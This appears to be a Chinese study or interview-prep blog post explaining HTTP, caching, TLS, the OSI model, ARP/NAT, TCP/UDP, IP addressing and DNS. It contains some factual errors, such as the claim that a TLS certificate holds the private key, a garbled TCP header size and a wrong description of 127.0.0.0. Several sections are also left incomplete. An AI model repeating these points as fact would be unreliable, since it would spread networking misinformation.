http

定义

http,即超文本传输协议,常被用于在浏览器网站服务器之间的通信,以明文方式发送内容,不提供任何方式的数据加密。

特点是:

  • 无状态:HTTP协议无法根据之前的状态来处理本次请求。
  • 灵活:HTTP允许传输任意类型的数据对象。正在传输的类型由Content-Type加以标记。

请求响应报文格式

无论是请求报文还是响应报文,其实都只是一个字符串

请求报文

由三部分构成:请求行,请求头,请求体

其中请求行只有一行,不能分段,请求行中包含请求的方法,和http版本号,以及请求的路径

请求头中可以包含多个字段,每个字段占一行,请求头中有一个必填的字段,就是host,就是请求的域名

请求头写完后,换两行,书写请求体

请求体可以有多种格式,至于使用哪种格式,需要在请求头Content-Type中指定,下面举例说明:

1
2
3
4
5
6
7
Content-Type: application/json

{
"username": "alice",
"email": "alice@example.com",
"age": 28
}
1
2
3
Content-Type: application/x-www-form-urlencoded

username=alice&email=alice%40example.com&age=28
1
2
3
4
5
6
7
8
9
10
11
12
13
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
注释:boundary是随机生成的分隔符,由客户端自动设置。

------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="username"(注释:表单中的字段名)

alice
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="avatar"; filename="photo.jpg"(注释:文件在前端的名称,供后端参考)
Content-Type: image/jpeg(注释:上传的文件的格式)

<binary data of photo.jpg>
------WebKitFormBoundary7MA4YWxkTrZu0gW--

其中application/x-www-form-urlencoded是传统 HTML 表单提交(<form method="POST"> )的默认格式。

其中multipart/form-data类型特别适合用于上传文件,即二进制数据,对于其他类型,想要上传文件,必须将文件转化成base64格式

响应报文

也由三部分构成:响应行,响应头,响应体

响应行中包含响应状态码,响应文本,协议版本号,比如:

1
http/1.1 200 OK

一般来说响应状态码和响应文本是一一对应的

状态码

5xx(服务端错误)

  • 500:服务器错误,但是未给出具体原因
  • 502:上游服务器返回了错误的响应
  • 504:上游服务器响应超时。

4xx(客户端错误)

  • 404:服务器中不存在请求的资源。
  • 403:请求的权限不足
  • 401:身份认证失败,该用户不存在。
  • 400(bad request):请求存在语法错误,通常是因为请求的方式不符合接口文档规范

3xx(重定向)

  • 304:服务器提示浏览器读取缓存(重定向到缓存)

  • 302:临时重定向,第一次请求返回一个临时请求url,第二次请求访问这个临时url,产生两次请求

  • 301:永久重定向,第一次请求返回一个永久请求url,包含在响应头中的Location部分,然后浏览器自动请求这个永久url,产生两次请求,实现请求重定向。响应行看起来像这样:

    1
    http/1.1 301  Moved Permanently

    对于永久重定向,和临时重定向不同的是,浏览器会记录这层重定向关系,下次直接请求重定向后的页面

2xx(请求成功)

  • 200(成功):请求已成功,并返回响应头响应体
  • 201:创建用户成功(由0到1的过程)
  • 204:服务器成功处理了请求,但是没有返回任何内容04通常表示“没有”的概念;通常用于响应DELETE请求,表示资源已被成功删除,但没有返回具体内容。

常用请求头

Authorization:用于超文本传输协议的认证信息

1
Authorization: Basic QWxhZGRpbjpvcGVuIHNlc2FtZQ==

Cache-Control不仅仅可以在请求中携带,也可以在响应中携带

在请求中携带,用来控制这次请求如何使用缓存

  • max-age=<seconds>:客户端愿意接受一个已经存在的缓存,只要它的年龄不超过指定秒数(愿意进行强缓存,但是有条件)

  • no-cache:强制进行协商缓存

  • no-store:客户端 直接禁用缓存,每次都向服务器发送完整请求,服务器必须响应 200 OK ,返回完整资源内容,不会返回 304

在响应中携带,用来设置缓存

  • no-cache:允许浏览器缓存资源,但是不设置资源的有效时间,这样就使得浏览器无法进行强缓存,每次都得进行协商缓存。效果就等同于设置max-age=0

  • no-store禁用缓存,浏览器不会将响应内容保存到本地缓存中,中间代理(如代理服务器或 CDN)也不会缓存该响应。

  • max-age=<seconds>:设置强缓存,并指定缓存的有效时间。

Content-Type:告知服务器请求体的数据类型

Cookie:携带cookie,cookie具体的介绍前往js面试一文中。

1
2
3
buvid3=57161BE6-C8C6-DA39-581F-E6FCB97E737107226infoc;
b_nut=1708906907;
i-wanna-go-back=-1;//就是这样的键值对格式,一个键值对就是一个cookie,其实每个cookie包含的信息远不止如此

http版本

HTTP1.0

默认使用短连接

即请求头中的Connection字段的值默认是close每次请求都需要与服务器建立一个TCP连接,服务器完成请求处理并响应数据后,立即断开TCP连接。比如,解析html文件,当发现文件中存在资源文件的时候,这时候又创建单独的链接,最终导致,一个html文件的访问,包含了多次的请求和响应,每次请求都需要创建连接、关闭连接。频繁的建立,断开连接,明显造成了性能上的缺陷,导致网络利用率较低,如果需要建立长连接,需要设置一个非标准的Connection字段

1
Connection: keep-alive

也就是说其实http1.0也能实现长连接,但是需要手动修改请求头。

不支持断点续传

HTTP/1.0 不支持按字节范围请求资源,因此无法实现断点续传;若下载中断,必须从头开始重新请求整个资源

队头阻塞问题

在http1.0中,发送下一个请求前需要等待上一个请求响应

HTTP1.1

现在浏览器发送请求,默认使用的http版本就是1.1,与HTTP1.0的区别在于:

默认支持长连接

1
2
3
4
5
HTTP/1.1 304 Not Modified
Server: nginx/1.28.0
Date: Thu, 15 May 2025 15:06:20 GMT
Last-Modified: Thu, 08 May 2025 06:00:56 GMT
Connection: keep-alive

即在一个TCP连接上,可以传送多个HTTP请求和响应,减少了建立和关闭连接的消耗和延迟。这样,在加载html文件的时候,文件中多个请求和响应就可以在一个连接中传输,减少了加载时间

只要任意一端没有明确提出断开连接,则保持 TCP 连接状态。如果某个 HTTP 长连接超过一定时间(60s)没有任何数据交互,服务端就会主动断开这个连接。

问题是如果TCP连接是可复用的,那如何判断请求响应完毕了呢

答:客户端读取完Content-Length指定字节后,就知道响应体读取完毕了,就知道这个响应结束了。

如果TCP连接不可复用,在响应头中接收到Connection:close字段,就表示响应完毕了。

并发连接

在 HTTP/1.1 下,浏览器会在同一个域名建立 6~8 个并发连接(不同浏览器略有差异)。

队头阻塞

虽然在HTTP1.1协议中可以并发建立连接,但是在每个连接中请求是串行的,发送下一个请求前需要等到上一个请求结果响应。因为http1.1是纯文本协议,请求和响应没有对应的标识,无法将乱序的请求和响应关联起来。

这些并发连接的目的端口号都是一样的,即80或者443,但是源端口号是不一样的,从而用来区别不同的连接。

在http1.1中,为了优化上述问题,有两种解决方案,第一种就是减少请求的个数,第二种就是将同一页面下的资源,分布到不同的域名下,这样就能增加连接的个数

新的请求方法

添加新的请求方法比如putdeleteoptions(预检请求),添加了新的请求头比如If-None-Match, If-Modified-Since

http2.0

http2.0在应用层和传输层之间新增了二进制分帧层,将请求和响应报文分割成头部帧和数据帧这两类帧,由type字段区分,从而将http由文本协议转化成二进制协议

二进制分帧层有2个核心概念,帧和流。帧是数据传输的最小单位,其头部字段包含StreamId,length和type等字段。

在http2.0中,每对请求响应就是一个流,一个流由多个帧组成,流内部的帧共用一个流id,接收方可以根据流id将帧关联起来。

总结:由于请求和响应通过流ID关联,所以可以实现在一个tcp连接上并发请求,并允许乱序响应,而不用担心匹配错误的问题,从而解决了http队头阻塞的问题

http3.0

http3.0之前的协议都存在tcp层队头阻塞问题:一旦发生丢包,就会阻塞住所有的请求,为了解决这个问题,http3.0使用udp作为传输层协议,并使用quic协议保证可靠性,这样一对请求响应发生了丢包,只会阻塞这对请求响应,从而完全解决了队头阻塞问题。

https

http是明文传输的,不安全。https在http的基础上,使用TLS/SSL加密,从而确保通信是安全的。使用https协议访问某个域名/网站,除了基本的DNS解析,TCP连接建立,还要经过SSL握手,然后才能开始加密通信

TLS/SSL

TLS/SSL加密过程中既使用了对称加密,也使用了非对称加密。使用非对称加密是为了得到一个会话密钥,这个会话密钥并没有进行传输,而是双方通过计算得出来的,握手成功后,再使用这个会话密钥进行对称加密

对称加密

使用同一把密钥进行加密和解密。发送方和接收方必须共享相同的密钥。优点是解密速度快,适合大量数据的加密,缺点是密钥必须共享,这个过程密钥可能被窃取。

非对称加密

使用一对密钥:公钥(公开)和私钥(保密)。公钥用于加密,私钥用于解密。优点是只传输公钥,私钥不进行传输,泄漏风险很小,很安全,缺点是解密速度慢

SSL证书

SSL证书其实就是保存在源服务器的数据文件,想要证书生效必须向CA申请,表明域名是属于谁的(可以理解为域名必须实名认证,有人需要为这个域名负责),还包含了公钥和私钥

TLS/SSL握手过程

在握手的过程中,服务端会把自己的SSL证书发送给客户端验证,浏览器会通过查询证书信任列表来判断这个证书是否有效,证书无效则浏览器显示这个连接不安全,有效则继续进行后续操作,经过非对称加密得到一个会话密钥握手结束

在握手过程中第一随机数,第二随机数,和公钥都是明文传输的,就意味着有暴露的风险,但是第三随机数的传输是经过公钥加密的,只能用私钥解密,也就是只有服务端知道第三随机数是什么,这就是一次非对称加密,然后再用那3个随机数计算得到会话密钥,会话密钥没有进行传输所以是安全的,握手结束后,后续的通信都用这个会话密钥进行对称加密

详细解释可参考:HTTPS是什么?加密原理和证书。SSL/TLS握手过程_哔哩哔哩_bilibili

GET请求和POST请求的区别

http协议层面,这两种请求只有语义层面的区别,表示不同的请求目的

get请求通常被用来获取数据,一般不携带请求体,由于不携带请求体,所以在get请求中,只能通过path或者query来传递参数

,而这些参数最终都会被放到url上,由于url的长度有限制(浏览器限制),所以get请求能携带的数据大小也是有限制的

url中不能包含中文,会被encodeURIComponent编码成ASCII字符

post请求通常被用来提交数据,一般携带请求体

如果后端不接受json类型的数据,前端还能如何上传数据?

对于get请求,我们可以在path或者query中携带数据

对于post请求,在请求体中携带数据,而请求体中的数据类型又有多种,不只包括json类型(其实就是applicatiion/json类型),还包括:

  • multipart/formData:多部分表单(支持文件上传), 上传文件时必须用此类型
  • application/xml:XML 格式数据,这种方式比较旧了
  • application/x-www-form-urlencoded:表单键值对(URL 编码)

浏览器的缓存策略

浏览器的缓存方式主要分为两大类,强缓存和协商缓存

强缓存

当浏览器请求某个资源的时候,如果浏览器缓存中存在该资源,且查看Expires/Cache-Control字段后,发现该缓存资源没有过期,那么浏览器不会发送实际请求到服务器,而是直接读取本地缓存,此时响应状态码为200 (from disk cache)200 (from memory cache)

Cache-Control优先级高于expiresexpireshttp1.0的产物,而Cache-Controlhttp1.1的产物,两者同时存在的时候expires会被Cache-Controlmax-age覆盖,在不支持http1.1的情况下可能就需要expires来保持兼容。

设置强缓存

1
2
3
4
5
//设置缓存的过期时间,即10s后
//将10s后的日期对象,转化成格林尼治标准时间
res.setHeader('Expires', new Date(new Date().getTime() + 1000 * 10).toGMTString())
//设置缓存有效时间为10s
res.setHeader('Cache-Control','max-age=10')

强缓存中的max-age字段指明的是资源的“保质期”,但是如果不知道“生产日期”,怎么判断是否应该使用强缓存呢?所以如何查看“生产日期”?其实“生产日期” = 浏览器收到这个响应的时间,浏览器会自动记录“接收到响应的时间”,并结合 max-age 判断缓存是否有效。

协商缓存

当浏览器请求某个资源的时候,如果浏览器缓存中存在该资源,但是该资源已过期,则进行协商缓存:

浏览器通过在请求头中,设置If-Modified-Since或者If-None-Match字段,询问服务器是否应该使用缓存;如果服务器发现资源未改变,则响应304提示浏览器使用缓存,否则响应200返回新的资源(以及最近一次修改该资源的时间即Last-Modified,或者最新的ETag值)

If-Modified-Since的值,为上次返回的Last-Modified值,If-None-Match的值为上次返回的ETag值;Last-Modified 表示本地文件最后修改日期;Etag,就是由文件内容得出的哈希值,文件内容改变,这个值就会改变。

协商缓存好比食物的保质期过了,于是询问还能不能吃。

如何理解OSI七层模型

应用层

该层协议定义了应用进程之间的交互规则,包括DNS协议,HTTP协议,电子邮件系统采用的 SMTP协议等。

在应用层交互的数据单元,我们称之为报文

表示层

该层提供的服务主要包括数据压缩数据加密以及数据描述,使应用程序不必担心在各台计算机中表示和存储的内部格式差异

会话层

会话层就是负责建立、管理和终止表示层实体之间的通信会话

该层提供了数据交换的定界和同步功能,包括了建立检查点恢复方案的方法

传输层

传输层的主要任务是为两台主机进程之间的通信提供服务。其中,主要的传输层协议是TCPUDP

网络层

负责主机主机的通信,ip地址就工作在这一层,常见的设备比如路由器。在发送数据时,网络层把传输层产生的报文或用户数据报封装成分组或者包,向下传输到数据链路层。

在网络层使用的协议是无连接的网际协议(Internet Protocol)和许多路由协议

数据链路层,物理层

比较重要的就是应用层,传输层,网络层,数据链路层,物理层,对这些模型的解释主要还是偏概念,较难以理解,了解就好。

案例解析

如图所示PC0-PC5,这6台主机通过交换机Switch0相连,这6台主机构成一个广播域,也可以说是一个内部网络,一个局域网(LAN)

这6台电脑之间的通信不需要经过路由器,也就是说“不需要联网”。

Switch0又和一个路由器Router0相连,这就把这个内部网络和互联网连接了起来,允许这些主机访问其他主机或者服务器,比如B站服务器。

这台路由器常常被叫做默认网关。路由器会给连接到它的每台主机,也包括自身,动态分配(DHCP,动态主机配置协议)一个私有ip地址,如图所示。

当PC0中的浏览器要发送一个请求时,这个请求在应用层,被称作报文,然后被交给传输层,传输层把报文和端口号拼接(源端口和目标端口,比如80或者443)封装成报文段,交给网络层,网络层把报文段与ip地址(源ip地址和目标ip地址)封装成

我们知道目标ip可以通过dns域名解析得到,而目标端口通常就80(http)或者443(https)【也就是说目标IP和目标端口号都是在应用层指定的】,而源ip地址,则是路由器分配给我们的私有ip地址,那源端口是如何确定的呢?源端口是由操作系统功分配的

  • 在建立TCP连接时,需要一个四元组来唯一标识一条连接:源IP地址、源端口、目的IP地址和目的端口
  • 在一个已建立的TCP连接期间,源端口在整个会话期间保持不变。只有当连接关闭后,该端口才可被重新分配用于其他连接。

源mac地址就是自己电脑的mac地址,至此,我们还需要知道目标mac地址,才能封装成帧,才能在数据链路层的交换机上进行转发。

那该如何获得目标ip对应的mac地址呢?

我们先查看本地主机的arp缓存表,查找这个ip地址对应的mac地址,如果缓存表中没有对应的记录,我们就需要进行arp广播

我们将目标mac地址,指定为”广播mac地址”,封装得到到一个arp广播帧,广播到本地所有主机。

如果目标ip地址在本地网络(也就是说目标ip地址也是私有ip),目标ip地址对应的主机在收到arp广播帧后,拆分帧为包,检查目标ip,发现确实是发给自己的帧,于是会返回自己的MAC地址(单播,因为广播帧中包含了源mac地址和源ip地址)给PC0,然后PC0知道目标ip对应的mac地址后,把数据包封装成,通过交换机转发给目标主机即可。

在本地开发环境中,当你使用脚手架工具(如Vue CLI)启动一个本地服务器时,通常会看到两个访问地址:一个是localhost(127.0.0.1),另一个是包含具体IP地址的形式,这里的具体IP地址,通常是你的计算机在本地网络中的私有IP地址,私有ip地址可以用来访问本地网络中的主机

如果目标ip地址不在本地网络(通常情况下),广播arp请求则无响应,所有本地主机都表示:”这不是在询问我的mac地址捏”,此时修改广播帧的目标ip,为默认网关ip,再发送一次arp广播(此时的目标mac是广播mac,目标ip是默认网关ip)

默认网关,即路由器收到arp广播帧后,发现是在询问自己的MAC地址(目标ip=默认网关ip),并记住客户端MAC地址(源mac)与客户端ip地址(源ip)的对应关系(存储在arp缓存),并返回自己的MAC地址(单播),然后主机PC0就能将数据封装成转发给默认网关

强调一下最终转发给默认网关的帧的细节:

  • PCO转发给默认网关的帧,的目标IP地址,就是真正的目标ip地址,比如B站服务器的IP地址,而不是默认网关ip地址
  • PCO转发给默认网关的帧,的目标mac地址,是默认网关的mac地址,而不是直接设置为最终目标服务器的MAC地址,实际上,对于局域网外的目标服务器,我们也没有办法直接获得其MAC地址。
  • 默认网关,即路由器,在接收到转发的帧,解封帧成包,替换中的源ip地址(私有ip地址),为路由器对应的公有ip地址
  • 路由器还会给这个私有ip地址,分配一个对外端口号,替换源端口号,并记录对应关系(NAT)

有了对外端口号,就能实现公有IP地址到私有ip地址的1对多映射,有人肯能会问,为什么还要替换端口号呢?直接有原来的源端口号来标识不同的私有ip不行吗?确实不行,因为不同的私有ip(不同的主机),可以使用相同的端口号。

路由器再根据包里的目标ip地址,进行路由转发,服务器所在的默认网关,如果知道这个目标ip地址对应的是那台服务器(知道目标ip地址对应的服务器mac地址),则把数据包封装成帧,经交换机转发给对应的服务器,如果不知道则进行arp广播

对应的服务器收到后进行逐层解封,根据目标MAC地址确认这个帧是发给自己的,根据目标ip地址确认这个包是发给自己的,根据目标端口,确定要与哪个应用程序交互,再把报文交给这个应用程序处理。

详细参考:互联网数据传输原理 |OSI七层网络参考模型_哔哩哔哩_bilibili

如何理解TCP/IP协议

TCP/IP协议不仅仅指的是TCPIP两个协议,而是指一个由FTPSMTPTCPUDPIP等协议构成的协议簇

只是因为在TCP/IP协议中TCP协议和IP协议最具代表性,所以通称为TCP/IP协议簇。

介绍一下TCP

是什么

TCP(Transmission Control Protocol,传输控制协议),是一种面向连接,面向字节流的传输层协议(2个面向)

为什么是面向字节流的呢?因为它将应用层交付过来的报文,看成连一串字节流(无论应用层交付过来多少报文,都视为一连串的字节流),并将每个字节编号,然后将报文分段,再拼接上头部形成报文段,再将报文段交付给网络层。

TCP报文段

TCP的头部大小至少为54 = 20字节,包括*端口号,序列号,确认应答号,还有窗口大小

TCP协议的特点是可靠传输,和流量控制(只说这两点),其中TCP的可靠传输很大程度上依赖着超时重传和确认应答机制

序列号

TCP报文段的序列号(seq)用于标记数据部分的第一个字节,在原始字节流中的位置。有了序列号,才能进行报文段的去重和组装

确认应答号

确认应答号ack,用来表示ack之前的字节都接收到了,接下来期望收到的是序列号是ack的报文段,使用的是累计确认

超时重传

如果发送端发现,某条报文段长时间没有得到应答,就会重传该条数据报,有了确认应答号,就能知道某个报文段是否被成功接收。

流量控制

流量控制,其实就是控制发送方的发送速率,TCP的流量控制,基于TCP报文段头部中的窗口大小字段。

窗口大小指的是接收窗口(rwnd)大小,它表示从当前确认号(ack)开始,接收方愿意接受的数据量。这个值由接收方根据其当前的接收能力,和缓冲区可用空间设定。

补充:拥塞控制

TCP还有的一个功能是拥塞控制。拥塞窗口并不直接体现在TCP头部中,它是发送方内部维护的一个状态变量,用来估计网络的拥塞状况并据此调整发送速率。发送方根据一系列规则和算法,如慢启动、拥塞避免、快速重传(3ack机制,当收到比期望的序列号大的报文段,就发送一个ack给接收端,告诉接收端自己期望的是哪个报文段,当接收端在发现超时之前,就能重传丢失的报文段,所以叫做快速重传)和快速恢复等机制,动态调整cwnd的大小,以尝试最大化吞吐量的同时避免网络拥塞。

分析上述图:

  • 慢开始的慢,指的是起始的拥塞窗口很小(大小为1),但是增长速度是很快的
  • 达到慢开始门限的时候,进行拥塞避免,每个RTT,拥塞窗口的大小+1,增长速度慢
  • 当发生网络超时的时候(也就是发送端超过一定时间没有接收到ack),说明网络比较拥挤,于是转为慢开始,并将慢开始门限设置为超时的时候的拥塞窗口大小的一半
  • 当接收到3个ack的时候,执行快恢复算法

3-ACK

要是等到超时的时候,发送端再重传,未免效率较低,有没有一种方法,能在超时事件发生之前,就提醒发送端重传报文段呢?

每当比期望序号大的失序报文段到达时,发送一个冗余ACK,指明下一个期待的报文段的序号假设发送方发送了如下编号的报文段。

举例说明:

1
1 → 2(丢失)→ 3 → 4 → 5

接收方的行为如下:

  • 接收方收到1号报文段:正常接收,发送 ACK = 100(假设每个报文段大小为100字节,下一个期望的是100)

  • 2号报文段丢失,没有收到。

  • 接收方收到3号报文段,是失序到达的(期待的是2号),发送冗余ACK:ACK=100(仍然期待2号)

  • 接收方收到4号报文段,仍然是失序的,再次发送冗余ACK:ACK=100

  • 接收方收到5号报文段,还是失序的,再一次发送冗余ACK:ACK=100

此时发送方收到了 三个冗余ACK(快速重传触发条件),于是立即重传2号报文段。

关键时刻来了:发送方重传2号报文段,接收方收到它!

接收方收到2号报文段,现在接收方已经缓存了3、4、5号报文段。收到2号后,现在所有数据都按顺序到达了(1,2,3,4,5)

接收方将这些报文段重组,并向上层交付。然后发送一个累计ACK,确认到5号报文段的最后一个字节,即:

假设每个报文段是100字节,初始序列号为0:1号:099,2号:100199,3号:200299,4号:300399,5号:400~499

所以最终发送的ACK号是 500,表示:“我已经收到前500个字节了,期待下一个是500开始的。”

连接建立和断开

三次握手

三次握手(Three-way Handshake)其实就是指建立一个TCP连接时,需要客户端和服务器总共发送3个包,主要作用就是为了确认客户端和服务端的接收能力和发送能力是否都正常、指定自己的初始化序列号为后面的可靠性传送做准备。

过程如下:

第一次握手:客户端给服务端发一个 SYN(同步)报文,并指明客户端的初始化序列号seq,此时客户端处于 SYN_SENT 状态

  • seq代表每个报文的序列号,在每个报文中都需要携带,用来区分发送的不同报文。它的值等于当前报文段中的数据的第一个字节在原始字节流中的编号。
  • SYN这种大写的字段的值(还比如ACK),只有2个值,0表示关闭,1表示开启,SYN=1表示请求开启同步

第二次握手:服务器收到客户端的 SYN 报文之后,会以自己的 SYN 报文作为应答,为了确认客户端的 SYN,将客户端的 seq+1作为ack的值(虽然没携带数据,但是规定就是ack=seq+1),此时服务器处于SYN_RCVD的状态

  • ACK字段的值只有0和1,ACK=1表示确认的意思,SYN=1和ACK=1一起使用表示确认开启同步

  • ack用于响应报文中,它的值等于相应的请求报文的序列号+1,只有开启了ACK,才能使用ack字段

  • ACK=1和ack总是同时出现的,只有当ACK=1的时候,ack才有效。

  • 第三次握手:客户端收到 SYN 报文之后,会发送一个 ACK 报文,值为服务器的seq+1。此时客户端处于 ESTABLISHED 状态。服务器收到 ACK 报文之后,也处于ESTABLISHED状态,此时,双方已建立起了连接。

四次挥手

FIN字段也是大写的字段,值也是只有0和1。

介绍一下UDP

是什么

UDP(User Datagram Protocol,用户数据报协议),是一个简单的面向数据报的通信协议,即对应用层交下来的报文,不进行分段,拼接头部形成UDP数据报后,就交给了下面的网络层。

UDP是无连接的,不需要和接收方打招呼建立连接,而是直接发送数据。这么设计的好处就是,可以实现一对多的数据传输,只需要在网络层中,将目标IP地址设计为广播地址即可,现实生活中的直播技术使用的就是UDP。

UDP的首部很小,只占用了8个字节(4*2=8)

UDP数据报中可以看出,UDP并没有确认机制(没有确认应答号ack),所以传输是不可靠的

和TCP的区别

这2个协议都是工作在传输层的协议,都会给应用层交付过来的报文,添加端口号(源端口,目标端口),把报文封装成TCP报文段或者UDP数据报。下面说说区别

连接建立

TCP是面向连接的,即发送数据之前需进行三次握手建立连接,而UDP不需要建立连接,直接发送数据。UDP支持广播而TCP不支持

报文分段

TCP是面向字节流的,它将应用层交付过来的数据报视为字节流,如果递过来的报文很大,TCP会将报文分段,并给这些报文段编号(seq)。而UDP则始终把应用层交付过来的报文当做一个整体,不进行分片,直接加上头部封装成UDP数据报,所以UDP是面向用户数据报的。

首部开销

TCP报文段首部内容更多,首部更大,至少有20字节;而UDP数据报首部开销小,只有8个字节。

可靠传输

TCP是可靠的,UDP是不可靠的(尽全力交付),因为TCP头部中包含确认应答号,也就是说,接收方可以根据确认应答号,判断哪些tcp报文段接收成功,哪些丢失了,并重传丢失的数据报。

总结

TCP 应用场景适用于对效率要求低,对可靠性要求高或者要求有连接的场景,而UDP 适用场景为对效率要求高,对可靠性要求低的场景,各有优缺。

介绍一下IP

什么是IP

IP(Internet Protocol),也叫互联网协议。它定义了如何将数据分割成数据包、地址编码、路由选择以及如何重新组装这些数据包以恢复原始信息。IP 提供的是无连接的服务,这意味着每个数据包独立处理,不需要事先建立专用的通信通道。这也意味着 IP 不保证数据包按顺序到达或不会丢失。

什么是IP地址

IP地址是IP (Internet Protocol,互联网协议)为每个连接到网络的设备分配的一个逻辑地址,用来唯一标识每一台设备,这使得设备之间能够互相识别并进行通信。IP地址的格式可分为ipv4(32位),ipv6(128位 )。

IPv4格式IP地址分类

ipv4格式的IP地址被分为私有IP地址和公有IP地址,私有ip地址的出现,主要是为了解决ipv4格式的IP地址数量不足的问题。

私有ip地址只能在局域网中通信,而公有ip地址才能在互联网通信,一个公有ip地址常常对应多个私有ip地址。路由器内部的DHCP会自动为设备分配私有ip地址,而公有ip地址由运营商分配。

ipv4格式的地址另一种常见的分类方式是分为A,B,C四大类

A类

对应的子网掩码为255.0.0.0,即前8位用来表示网络号,后24位用来表示主机号。前一位比特必须是0(限定前几位比特是为了能快速识别是哪类IP地址),表示 IP 地址范围为 0.0.0.0127.255.255.255

B类

对应的子网掩码为255.255.0.0,即前16位用来表示网络号,后16位用来表示主机号,前两位比特必须是10,表示 IP 地址范围为 128.0.0.0191.255.255.255

C类

对应的子网掩码为255.255.255.0,即前24位用来表示网络号,后8位用来表示主机号,前三位比特必须是110,最为常见,表示 IP 地址范围为 192.0.0.0223.255.255.255

特殊地址

127.0.0.0:对任何ip地址的访问都会访问这个ip地址

广播地址 :主机号全为1的地址。

网络地址:主机号全为0的地址,不能用来标识某一台主机。

DNS协议

DNS(Domain Names System),域名系统,是互联网一项服务,是把域名转换成对应的IP地址的服务器。

什么是域名

域名可以理解为给ip地址起的别名,方便记忆。域名一般由三部分构成,由.连接,从右到左分别是顶级域名,权威域名,本地域名。

域名查询方式

递归查询

如果 A 请求 B,那么 B 作为请求的接收者一定要给 A 想要的答案,可以理解为帮人帮到底,但是这样对B服务器(域名服务器)的压力就很大,域名服务器不返回下级域名服务器ip地址,而是负责的帮忙询问,只返回普通服务器ip地址。

迭代查询

如果接收者 B 没有请求者 A 所需要的准确内容,接收者 B 将告诉请求者 A,如何去获得这个内容,但是自己并不去发出请求。

域名缓存

计算机中DNS的记录分成了两种缓存方式:

浏览器缓存:浏览器在获取网站域名的实际 IP 地址后会对其进行缓存,减少网络请求的损耗。

操作系统缓存:操作系统的缓存其实是用户自己配置hosts 文件

DNS解析过程

当我们访问一个网站,就需要通过DNS解析获取它的ip地址,首先搜索浏览器的 DNS 缓存,缓存中维护一张域名IP 地址的对应表

若缓存没有命中,则继续搜索操作系统的 DNS 缓存

若操作系统缓存仍然没有命中,操作系统将向本地域名服务器(默认域名服务器)发送一次DNS查询请求,询问这个域名的ip地址,本地域名服务器采用递归查询自己的 DNS 缓存(因为域名是多级结构嘛),查找成功则返回结果。

若本地域名服务器的 DNS 缓存没有命中,则本地域名服务器向上级域名服务器进行迭代查询

  • 首先本地域名服务器向根域名服务器发起请求,询问根域名服务器,返回顶级域名服务器ip地址到本地服务器
  • 本地域名服务器拿到这个顶级域名服务器的ip地址后,就向其发起请求,返回权威域名服务器ip地址
  • 本地域名服务器根据权威域名服务器的ip地址向其发起请求,最终得到该域名对应的 IP 地址

本地域名服务器将得到的 IP 地址返回给操作系统,同时自身将 IP 地址缓存

操作系统将 IP 地址返回给浏览器,同时自身将 IP 地址缓存

至此,浏览器就得到了域名对应的 IP 地址,并将 IP 地址缓存

域名解析参考:【实操演示】域名DNS解析设置 | 第一次设置域名解析?看这个就明白了 | 什么是域名解析 | 如何设置_哔哩哔哩_bilibili

地址栏输入 URL 敲下回车后发生了什么

这个问题常常和《如何提高SPA的首屏加载速度》联合考察,提高首屏加载速度的方法,通常在TCP连接建立后考察

URL解析:判断输入的url是否合法,不合法则根据关键字进行搜索,合法则对这个URL进行结构分析

DNS查询:通过DNS查询,获得域名部分对应的ip地址

建立TCP连接:拿到ip地址后,通过三次握手,与目标服务器建立TCP连接。

SSL握手:如果使用的是https协议的话,还会进行一次ssl握手,服务器发送https证书给客户端浏览器,然后浏览器校验证书的有效性,如果证书已过期或者无效,则提示连接不安全,不再执行后续流程。如果证书有效,则继续进行握手,进行非对称加密获取会话密钥,握手结束,获取到会话密钥后,后续就使用这个会话密钥进行对称加密通信

发送http请求

tcp连接建立且ssl握手成功后,浏览器发送http请求报文

服务端响应请求

当服务器接收到浏览器的请求之后,就会对请求进行处理,执行一些逻辑操作,发送响应报文

页面渲染

当浏览器接收响应报文后,会对这个报文进行解析:

  • 查看响应头的信息,根据不同的请求头做不同处理,比如重定向,存储cookie,缓存资源等等

  • 特别是查看响应头的 Content-Type的值,根据不同的资源类型,采用不同的解析方式。

  • 当发现 Content-Type的值是text/html,于是将响应体中的数据当成html文件来解析

后续步骤

  • 资源预加载:如果在 html 中存在 <link><script>img 等标签*浏览器会在遇到这些标签之前,预加载这些资源。

  • 解析HTML,构建 DOM 树。如果在解析html标签的时候,如果遇到了script标签,将script插入dom树;如果标签未添加defer/async,且对应的js文件还未加载完毕,则该js文件的加载和执行都会阻塞dom树的构建。
  • 当css文件加载完毕之后,就开始解析 CSS ,构建CSSOM树。
  • Recalculate Style:合并 DOM 树和 CSS 规则,生成渲染树
  • 进行布局 ,确定元素的位置和大小,然后再进行绘制,绘制元素的具体样式

页面空白问题

“白屏”通常指的是用户看到的是一个空白的页面(纯白或无内容),可能的原因包括:

  • 页面确实还没有开始渲染;
  • 页面内容起初本来就是空白的,需要js来添加结构和样式

我们讨论第二种情况:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<!doctype html>
<html lang="">

<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width,initial-scale=1">
<link rel="icon" href="favicon.ico">
<title>heima-shopping</title>
<script defer="defer" src="js/chunk-vendors.f3f3a489.js"></script>
<script defer="defer" src="js/app.04cc1747.js"></script>
<link href="css/chunk-vendors.c587e11f.css" rel="stylesheet">
<link href="css/app.a7ac9fb3.css" rel="stylesheet">
</head>

<body>
<div id="app"></div>
</body>

</html>

这是一个典型的SPA应用的index.html文件,其中body中的html标签非常少,就是个空壳子,需要等待加载,执行好引入的js文件修改dom结构后才有实际的内容。如果引入的js文件体积很大,导致html标签解析结束,dom构建好,cssom也构建好后,但js文件还未加载完毕,由于页面渲染不会等待js文件,所以页面会直接渲染,出现空屏。

浏览器中发送请求的一些方式

  • ajax请求,通过js发送
  • 表单提交
  • 点击a标签(发送get请求)
  • 从地址栏输入url(发送get请求)
  • 加载script,img,link等标签中的资源(发送get请求)

总结来说,浏览器有自动发送请求的能力

ajax

定义

是一种创建交互式网页应用的开发技术, 可以在不重新加载整个网页的情况下,与服务器交换数据,并且局部更新网页。

Ajax的原理简单来说就是通过XmlHttpRequest(xhr)对象向服务器发送异步请求,收到服务器响应的数据后,用Js操作DOM来更新页面。

实现过程

创建 Ajax的核心对象 XMLHttpRequest对象

1
const xhr = new XMLHttpRequest();

